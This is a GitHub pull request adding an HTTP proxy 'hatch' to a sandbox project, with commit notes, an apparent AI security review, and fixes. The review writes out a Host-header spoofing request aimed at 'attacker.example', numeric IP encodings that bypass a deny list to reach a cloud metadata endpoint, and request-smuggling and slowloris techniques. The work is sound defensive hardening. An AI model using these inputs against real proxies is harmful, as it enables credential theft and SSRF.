Add an HTTP hatch: a client-defined HTTP endpoint over the sandbox UDS - #10
Add an HTTP hatch: a client-defined HTTP endpoint over the sandbox UDS#10folded wants to merge 8 commits into
Conversation
A second hatch alongside GrpcHatch: where the gRPC hatch grants typed methods, HttpHatch grants network egress — but only to destinations on an allowlist. It closes the loop on the empty netns without reopening it. Host side (src/postern/http.py, stdlib-only — no extra): - Serves an allowlisted HTTP forward proxy over the sandbox UDS. Allowlist entries are `host` (any port) or `host:port` — the capability grant, the same role the method set plays for gRPC. - Both proxy modes: absolute-form for plain HTTP (parses/forwards, strips hop-by-hop headers, forces Connection: close) and CONNECT for HTTPS (an opaque byte tunnel; the TLS payload is never inspected). - Hardened for hostile input: bounded header read, per-connection catch-all so one bad client can't take a pool worker down, bounded worker pool. - Mirrors GrpcHatch's lifecycle: 0700 temp dir + 0o666 socket (F9), idempotent start, reused across run_python calls. Guest side (src/postern/_guest.py): - The shim fronts a proxy hatch with a loopback->UDS relay (pure stdlib sockets + threads — no socat/nc in the rootfs) and exports HTTP_PROXY, so any client egresses through the allowlisted proxy unmodified. - The relay lives in the PID-1 init, not the guest child: bound pre-fork so HTTP_PROXY can name the port, served post-fork so the fork stays single-threaded and the guest never inherits a live accept loop (it closes the listener fd first). PID 1 is non-dumpable, so the guest cannot reach the relay's memory/threads; policy stays host-side regardless. Wiring (src/postern/_sandbox.py): - The Hatch protocol now documents two access modes; a `guest_proxy` hatch is routed to POSTERN_PROXY_UDS (relay) instead of POSTERN_HATCH (dial). Tests exercise the host proxy directly and drive traffic through the real shim relay end-to-end (allow/deny for both proxy modes, CONNECT tunnel, request-body forwarding, socket perms, reuse). Follow-up (deferred): have the forked child os.exec the guest code the same way an arbitrary argv would, unifying run_python and run_bash under one supervisor that hands its setup (relay, rlimits, reaping) to any program.
Invert HttpHatch: the core is now transport only, and a client-supplied
handler owns all policy — `handler(request, forward) -> Response | Tunnel`.
`forward(request)` is the egress capability (streaming Response for HTTP, a
Tunnel for CONNECT); withhold it and nothing leaves the host. A handler can
forward, rewrite a request, transform a streaming response, route elsewhere,
or answer synthetically with no egress at all. The allowlist is no longer
welded in — it ships as `allow_hosts`/`deny_hosts`, handlers built on the
core, so `HttpHatch(allow_hosts({...}))` reproduces the old behaviour.
Streaming: forward() returns a lazy Response.body, so SSE/chunked responses
flow through without buffering, and `sse_events`/`encode_sse` let a handler
intervene per event. Request bodies are buffered (bounded) so a handler can
inspect/rewrite them; responses stream. Bodies are re-emitted close-delimited
(framing headers re-derived) so a transformed stream can't corrupt framing.
HTTPS/steering: a CONNECT tunnel stays opaque (proxy sees only host:port), and
nothing downgrades https->http on its own. `steer_https_to_http` refuses
CONNECT with an actionable 405 pointing at an http:// base URL, so a
cooperative client (ANTHROPIC_BASE_URL etc.) can egress in plaintext and the
handler originates TLS upstream — per-message interception with no MITM/certs.
Tests cover the new dispatch (synthetic response, request-body rewrite, SSE
per-event transform, deny_hosts, steering) alongside the existing allow/deny,
CONNECT, socket-perms, reuse, and real-shim-relay end-to-end cases.
folded
changed the title
Fixes from an adversarial review of the proxy's attacker-facing parsing: - Bare-CR/LF header smuggling: a bare LF inside a header value survived _parse_headers (which splits on CRLF) and was re-serialized upstream as a separate header line, slipping a Transfer-Encoding/Host/auth past the name-based framing strip (CL.TE request smuggling). Reject any request whose header block contains a bare CR or LF with 400. - Chunked-body infinite spin: _iter_chunked treated EOF (readline() -> b'') the same as a blank line and `continue`d forever, pinning a pool worker at 100% CPU on a truncated chunked request. Distinguish EOF and stop. - Chunked body bypassing max_body_bytes: the size cap was checked only after reading a whole chunk, so one huge declared chunk buffered ~GBs first. Check the declared size up front, like Content-Length. - Upstream fd leak: an OSError from sendall()/reading the response in forward() left the connected upstream socket unclosed (walks to EMFILE under a flaky allowlisted host). Close it and return 502. - Slowloris: no read timeout on the guest connection let a partial-header stall hold a worker forever. Bound the pre-response phase with connect_timeout, cleared before the long-lived forward/stream/tunnel phase. Regression tests cover each. The review also confirmed no allowlist/dial parse divergence, no fork-with-threads hazard in the relay, and correct handling of classic CRLF-delimited duplicate-CL/CL+TE smuggling.
…ass) The first hardening pass bounded chunk *data* against max_body_bytes but read the chunk size-line via an uncapped _SockReader.readline(), so the DoS moved rather than closed: a tiny declared size plus a multi-GB chunk-extension (or endless non-newline padding) buffered unboundedly in the reader, a ~5000x bypass of the cap. A flood of blank/trailer lines slipped it too, since only declared data was counted. - readline() takes a `limit` and raises once the buffer grows past it without a newline, so a single line can't be accumulated unboundedly (mirrors the _MAX_HEADER_BYTES cap on the header block); size/trailer lines use a 8 KiB cap. - _iter_chunked now counts *everything consumed* — size lines, data, trailers — against max_bytes, not just the declared chunk data. Also documents the deliberate no-write-timeout choice on the stream/tunnel phase (a stalled reader is bounded by max_workers and the outer run timeout, not killed on a timer that would break legitimate idle SSE / slow downloads). Second pass confirmed F1 (bare-CR/LF) and F4 (upstream fd leak) fully closed and F2's CPU spin eliminated.
The chunked size-line cap checked the limit *after* _SockReader._fill(), so when the over-limit line was already buffered — the common case: the whole request body arrives as the header-parse leftover — the loop called _fill() first and blocked on recv() waiting for bytes the client had already sent (and wasn't going to follow with more, nor close). The server then only tore the connection down at its 10s read timeout, past the test's client timeout, so test_chunked_extension_line_is_capped hung on CI (where bwrap-independent, it still ran) even though it raced green locally. Check the cap before each _fill, against the bytes already buffered too, so an over-limit line raises at once. Verified deterministic locally (3/3).
The single `hatch=` was already opt-in and mutually exclusive — no hatch means no channel, a GrpcHatch opens only POSTERN_HATCH, an HttpHatch only the relay + HTTP_PROXY — but it capped a sandbox at one channel. Let `hatch` take one hatch or a sequence, so a sandbox can carry both a typed-method dial hatch and a brokered-egress proxy hatch at once. At most one of each kind (each maps to one guest env var); two of a kind raises ValueError. - Distinct guest sockets so both can bind: a dial hatch at /run/postern/hatch.sock (POSTERN_HATCH), a proxy hatch at /run/postern/proxy.sock (POSTERN_PROXY_UDS). run_python serves each via an ExitStack (a no-op with no hatches). - Host-side paths are already unique per instance (each hatch mkdtemp's its own 0700 dir), and guest paths are per-guest mount-namespaced, so two concurrent callers never collide — asserted in tests. Tests: construction/validation (opt-in, both-allowed, two-of-a-kind rejected, distinct guest paths, unique host paths) bwrap-free; plus an e2e that one guest reaches both a gRPC hatch and the HTTP proxy hatch — also the first e2e exercise of the HTTP-hatch relay path under bubblewrap.
lgruen-cpg
left a comment
lgruen-cpg
left a comment
There was a problem hiding this comment.
Security review — HttpHatch
Reviewed through 4079aaa. src/postern/http.py and src/postern/_guest.py are unchanged since 5c0ef39, and the "both hatches" commit is bind/env wiring only (distinct guest socket paths, fail-closed empty defaults for POSTERN_HATCH/POSTERN_PROXY_UDS) — no new surface there.
Threat model applied: the guest is the attacker, and the hatch's promise is that egress is brokered by the host-side handler. So anything letting guest-controlled bytes bypass or confuse that host-side policy counts, because that is the product's security boundary.
One finding meets that bar (High, inline on _forward_request_headers), plus one lower-confidence observation worth acting on anyway (Medium, inline on _split_authority). Everything else I probed came out clean.
Verified sound — claims in the PR description that hold
Worth recording, because several of these are the places I expected to find something and didn't:
- No CRLF injection. A bare CR or LF anywhere in the header block is rejected with
400before anything is forwarded (http.py:396). The comment there is exactly right about why. - Framing really is re-derived.
Content-Length/Transfer-Encodingare name-stripped and recomputed fromlen(req.body), the upstream socket is single-use withConnection: close, and onlyreq.bodyis written. I could not smuggle a second request upstream: duplicateContent-Length→ first value wins and trailing bytes are dropped; obs-folded and NBSP-suffixedTransfer-Encoding→ unfolded, stripped, request stalls closed. max_body_bytesis checked before the read on both theContent-Length(:584) and chunked (:578) paths.allow_hostsis not bypassable. In both the CONNECT and absolute-form branches the policy value and the dial value are the identicalreq.hoststring, so no string trick makes the check see one host and the dial another. Userinfo (http://allowed@evil/),CONNECT host:443:80, bracketed IPv6, IDNA/homoglyph targets, percent-encoding, tab-in-URL, odd-caseCONNECT,Content-Length: -1and out-of-range ports all either normalize identically or fail closed with 400/403/502. (A non-ASCII target arrives latin-1-decoded, soidna_converterraisesUnicodeError, whichforwarddoesn't catch andexcept Exceptionat:385turns into a closed connection.)steer_https_to_httpfails closed on CONNECT.- The guest→relay boundary adds no reachable surface. The relay binds an ephemeral loopback port inside the empty netns (
SO_REUSEADDRdoesn't let a second listener steal it), the child drops the listening fd beforeexec, the accept loop starts only post-fork in the non-dumpable PID-1 init,ptraceis on the seccomp EPERM list, and the relay's UDS target is read from PID 1's own environ, which the guest can't write. Binding pre-fork / serving post-fork is a nice touch.
Posted as a comment rather than a change request — the call on whether the Host pinning blocks merge is yours.
🤖 Security review by Claude Code
|
|
||
|
|
||
| def _forward_request_headers(headers: list[tuple[str, str]], body_len: int) -> list[tuple[str, str]]: | ||
| kept = [(k, v) for k, v in headers if k.lower().encode() not in _HOP_BY_HOP | _FRAMING] |
There was a problem hiding this comment.
🔴 High — the forwarded authority is never pinned to the policy-checked authority (allow_hosts bypass via Host confusion)
This filter removes only _HOP_BY_HOP (:77-79 — connection, proxy-connection, keep-alive, proxy-authorization, te, trailer, upgrade) and _FRAMING (:82 — content-length, transfer-encoding). Neither contains host, and nothing else in the module reads, drops, or synthesizes a Host header on the forward path.
Meanwhile the dial uses the policy-checked authority — socket.create_connection((req.host, req.port), …) at :416, where req.host/req.host_port are exactly what allow_hosts checks at :166 — and the upstream request is emitted in origin-form at :428 (f'{req.method} {req.origin_target} HTTP/1.1'). So after the rewrite, the guest-written Host header is the only authority signal the upstream sees. RFC 7230 §5.4 / RFC 9110 §7.2 make it a MUST for a proxy receiving absolute-form to replace the received Host with the request-target's authority, precisely to close this.
Two aggravating details: _parse_headers (:639-646) returns a list, so duplicate Host: lines all survive in order and are all forwarded; and when the guest omits Host entirely, none is synthesized (:625-628 appends only Content-Length and Connection). The guest-side relay can't normalize it either — _guest.py:66 _relay_conn is explicitly "a dumb byte pump with no policy of its own", so the guest controls the header block byte-for-byte.
Exploit. Operator configures the shipped battery HttpHatch(allow_hosts({'api.vendor.com'})). Guest sends:
GET http://api.vendor.com/v1/messages HTTP/1.1
Host: attacker.examplereq.host == 'api.vendor.com' → policy passes → forward() dials api.vendor.com:80 → the bytes that arrive are GET /v1/messages HTTP/1.1 with Host: attacker.example. Over plaintext HTTP there is no SNI, so a Host-routed front end (CDN edge, k8s ingress, ALB host rules, shared nginx vhost) routes purely on that header: the guest, not the policy, chooses which backend behind the allowlisted IP serves the request. An attacker who registers a domain on the same CDN gets the request delivered to their own origin. The allowlist is satisfied at every step and an audit log records api.vendor.com.
Amplifiers:
- Credential misdirection. Any handler that injects host-side auth before calling
forward(req.headers.append(('x-api-key', SECRET))) delivers that secret to the guest-chosen backend. To be fair to the PR: that handler shape isn't documented here — the docstring's plaintext advice (:42-47) is to "originate TLS upstream", whichforward()can't do sincecreate_connectionat:416is neverssl-wrapped. So the credential variant needs a handler that injects a secret and then callsforwardover port 80. The vhost-confusion bypass stands independently of it. - Handler desync via duplicates.
Request.header()/_get(:653-658) returns the first match while many upstreams honour the last, so a custom handler policing onreq.header('Host')is desyncable by sending twoHost:lines.
Worth noting this is a gap in the PR's own stated intent, not an accepted trade-off — the comment at :390-395 justifying the bare-CR/LF rejection names the threat directly: "slipping a Transfer-Encoding/Host/auth past the name-based framing strip". The strip covers Transfer-Encoding but never covers Host, so a guest doesn't need LF smuggling at all; a plain Host: line suffices. And steer_https_to_http (:185-202) sharpens this rather than softening it: it closes the analogous CONNECT/SNI variant and steers operators onto exactly this unpinned plaintext path, making Host the remaining hole in the recommended configuration.
Suggested fix. Pin the authority by construction: drop every guest-supplied Host and append exactly one derived from the policy-checked values, so the header the upstream routes on and the value the handler authorized are the same string.
_REDERIVED = _FRAMING | frozenset({b'host'})
def _forward_request_headers(
headers: list[tuple[str, str]], body_len: int, host: str, port: int, *, default_port: int = 80
) -> list[tuple[str, str]]:
kept = [(k, v) for k, v in headers if k.lower().encode() not in _HOP_BY_HOP | _REDERIVED]
kept.append(('Host', host if port == default_port else f'{host}:{port}'))
...That needs req.host/req.port threaded in — the function currently receives only headers and body_len. Separately, Request offers handlers only list.append, so a guest-supplied duplicate of an injected credential header is also forwarded; a set_header()/replace_header() helper would close that.
| return None | ||
|
|
||
|
|
||
| def _split_authority(authority: str, *, default_port: int) -> tuple[str, int]: |
There was a problem hiding this comment.
🟠 Medium — CONNECT authority is never canonicalized, so deny_hosts (and any string-matching handler) de-normalizes on the CONNECT path
_split_authority returns the CONNECT authority byte-for-byte as the guest sent it, while the absolute-form branch at :406 goes through urlsplit().hostname, which does lowercase (and unbracket IPv6). Both then feed the same unvalidated string to getaddrinfo via :416, and the policy checks at :166/:178 are frozenset.__contains__ — exact string equality against a resolver grammar that is far looser.
The case asymmetry is the cleanest illustration. With deny_hosts({'localhost'}):
GET http://LOCALHOST/ → req.host == 'localhost' → 403 (urlsplit lowercased)
CONNECT LOCALHOST:443 → req.host == 'LOCALHOST' → tunnel open (raw; DNS is case-insensitive)
On glibc it gets worse, because create_connection passes the raw string to getaddrinfo without AI_NUMERICHOST and gaih_inet runs __inet_aton_exact, which accepts a, a.b, a.b.c and octal/hex parts. So for the exact destination tests/test_http_hatch.py:139-146 asserts is blocked:
'169.254.169.254' '2852039166' '0251.0376.0251.0376' '169.254.43518' '0xa9fea9fe'
all resolve to 169.254.169.254, and only the first is on the denylist — IMDS credentials stream back to the guest through the hatch. (musl/Alpine rejects the short forms; the case and trailing-dot variants are libc-independent.)
Why I'd still rate this Medium rather than High: a name-based denylist can't be a destination boundary regardless of canonicalization — a guest requesting http://imds.attacker.example/ whose A record points at 169.254.169.254 passes the string check with no encoding trick at all. So canonicalizing doesn't close the exploit class; it just closes the encodings. The reason I'd still fix it is the CONNECT-vs-absolute-form gap itself: the README's primary mode is "with a bare handler you own the policy", and a handler written and tested against http:// URLs silently sees a differently normalized host on CONNECT. That's a footgun in the documented primary mode, independent of the batteries.
Suggested direction, in rough priority order:
- Route the CONNECT branch through the same normalization as absolute-form (lowercase, strip userinfo, unbracket IPv6, normalize or reject a trailing dot) so handlers see one canonical form on both paths.
- Resolve once in
_parse_request, expose the resolvedipaddressobjects onRequest, and haveforwarddial those rather than re-resolving the string. That canonicalizes0x7f.1/2130706433/127.1into127.0.0.1for free. Note this is also the only version that doesn't introduce a check-then-resolve TOCTOU: today there's exactly one resolution (insidecreate_connection), so resolving in_parse_requestwithout changingforwardwould create a second one and open the door to DNS rebinding. - Ship a
block_private()battery applied to the resolved addresses (loopback, link-local, RFC1918, CGNAT,::1,fd00::/8,fe80::/10) — that, notdeny_hosts, is what actually stops IMDS and host-network SSRF. - Reframe
deny_hostsin the docstring/README as convenience rather than a boundary, so nobody builds a security posture on it. Theallow_hostspath is genuinely sound (see the review body) and deserves to be the documented default.
Security review (lgruen-cpg on #10) findings: - High — allow_hosts bypass via Host confusion. The forward path emitted origin-form to the policy-checked host but copied the guest's Host header verbatim (the strip covered hop-by-hop + framing, never Host). A guest could pass the allowlist by dialing an allowed host while setting Host: elsewhere, and a host-routed front end (CDN/ingress/vhost) would serve a guest-chosen backend behind the allowlisted IP — allowlist satisfied, audit log clean. Re-derive exactly one Host from the dialed host/port (RFC 9110 §7.2), dropping every guest-supplied Host (also closes the duplicate-Host desync); missing Host is now synthesized. Add Request.set_header() so a handler injecting an auth header isn't overridden by a guest duplicate. - Medium — CONNECT authority wasn't canonicalized (absolute-form lowercases via urlsplit; CONNECT used the raw bytes), so a string-matching handler saw a different host on each path (CONNECT LOCALHOST vs http://LOCALHOST/). Route CONNECT through the same urlsplit normalization (lowercase, strip userinfo, unbracket IPv6). Reframe deny_hosts as convenience, not a boundary — a name it doesn't list can resolve to a blocked address, and numeric IP encodings dodge it; allow_hosts is the real boundary. Also correct the docstring: forward() dials plaintext only, so the http->https upgrade it hinted at isn't provided. Tests: Host pinned over a spoof, duplicate Hosts replaced, missing Host synthesized, CONNECT canonicalized like absolute-form, set_header drops dupes.
…-pin) Follow-up to the security review's Medium: a name-based deny_hosts can't be a destination boundary — a name resolving to a blocked IP, or a numeric encoding of it, slips the string check. block_private() filters the *resolved* address instead (blocks any non-globally-routable address: loopback, link-local incl. 169.254.169.254, RFC1918, CGNAT, ::1, ULA, fe80::/10, reserved/multicast). Passed as HttpHatch(handler, block=block_private()), the guard runs inside forward after resolution and before connect, and the dial connects to the exact vetted address (getaddrinfo once, then create_connection on the numeric IP) — so the address the guard approved is the address connected, closing the check-then-resolve DNS-rebinding window. With no guard, forward dials as before. It composes with the name policy: block overrides even an allowlisted name whose address is internal (defense in depth). Tests cover the predicate (internal blocked, global allowed) and block refusing a resolved-loopback origin that allow_hosts permitted by name.
|
Thanks — this was a genuinely valuable review; both findings were real. All addressed on 🔴 High — Host confusion
|
2 participants
What
A second escape hatch alongside
GrpcHatch. Where the gRPC hatch grants the guest typed methods,HttpHatchgives it an HTTP proxy endpoint — but what happens to each request is entirely client-defined. It closes the loop on postern's empty network namespace without reopening it: egress stays a single brokered, auditable channel through the hatch UDS.Shape
The empty netns has only
lo(bwrap'sloopback_setup()raised it — no caps), so a relay on127.0.0.1is the guest's only reachable endpoint, and it leads solely to the host handler.Core is transport; the handler is policy
handler(request, forward) -> Response | Tunnel:request— parsed proxy request (method, url, host/port, headers, bufferedbody;is_connectfor HTTPS).forward(request)— the egress capability: dials upstream, returns a streamingResponse(HTTP) or aTunnel(CONNECT). Withhold it and nothing leaves the host.Response(forwarded — optionally with its streaming body transformed — or synthetic, no egress), or aTunnelto splice a CONNECT.A forwarding proxy with a destination allowlist is just one instance; the handler may equally rewrite requests, transform a stream, route to another backend, or answer synthetically. Batteries ship on top:
allow_hosts/deny_hostsreproduce an allowlist in one line, soHttpHatch(allow_hosts({'api.github.com:443'}))is the common case.Streaming / SSE
forward()returns a lazyResponse.body, so SSE/chunked responses flow through without buffering, andsse_events/encode_sselet a handler intervene per event:Request bodies are buffered (bounded) so a handler can inspect/rewrite them; responses stream. Bodies are re-emitted close-delimited (framing headers re-derived) so a transformed stream can't corrupt framing.
HTTPS / steering
A
CONNECTtunnel is opaque TLS (proxy sees onlyhost:port), and nothing downgrades https→http on its own. For per-message interception without MITM/certs, point a cooperative client at anhttp://base URL (ANTHROPIC_BASE_URL,OPENAI_BASE_URL, …) and let the handler originate TLS upstream.steer_https_to_httprefusesCONNECTwith an actionable405saying exactly that. Full TLS termination (minted certs + guest trust store) remains a possible opt-in extra, out of scope here.Guest side —
src/postern/_guest.pyThe shim fronts a proxy hatch with a loopback→UDS relay (pure stdlib
socket+threading— no socat/nc in the rootfs) and exportsHTTP_PROXY. The relay runs in the PID-1 init, not the guest child: bound pre-fork soHTTP_PROXYcan name the port, served post-fork so the fork stays single-threaded and the guest never inherits a live accept loop. PID 1 is non-dumpable andptraceis seccomp-blocked, so the guest can't reach the relay; policy is enforced host-side regardless of what bytes the relay carries.Tests
tests/test_http_hatch.py— synthetic response (no egress), request-body rewrite, SSE per-event transform,allow_hosts/deny_hosts,steer_https_to_http, CONNECT tunnel + refusal, socket perms, reuse, and a real-shim-relay end-to-end path. All bwrap-free (loads the shim as a module), so they run on any platform.Local gate:
ruff,ruff format,pyright,pre-commitclean; 73 passed, 16 skipped (skips are the bwrap e2e tests — they run on CI).Commits
Add an HTTP forward-proxy hatch with an in-shim loopback relay— host proxy + guest relay.Make the HTTP hatch handler-based; allowlist becomes a shipped battery— invert to the handler core, add streaming/SSE + steering.Follow-ups (deferred)
os.execto unifyrun_python/run_bashunder one PID-1 supervisor.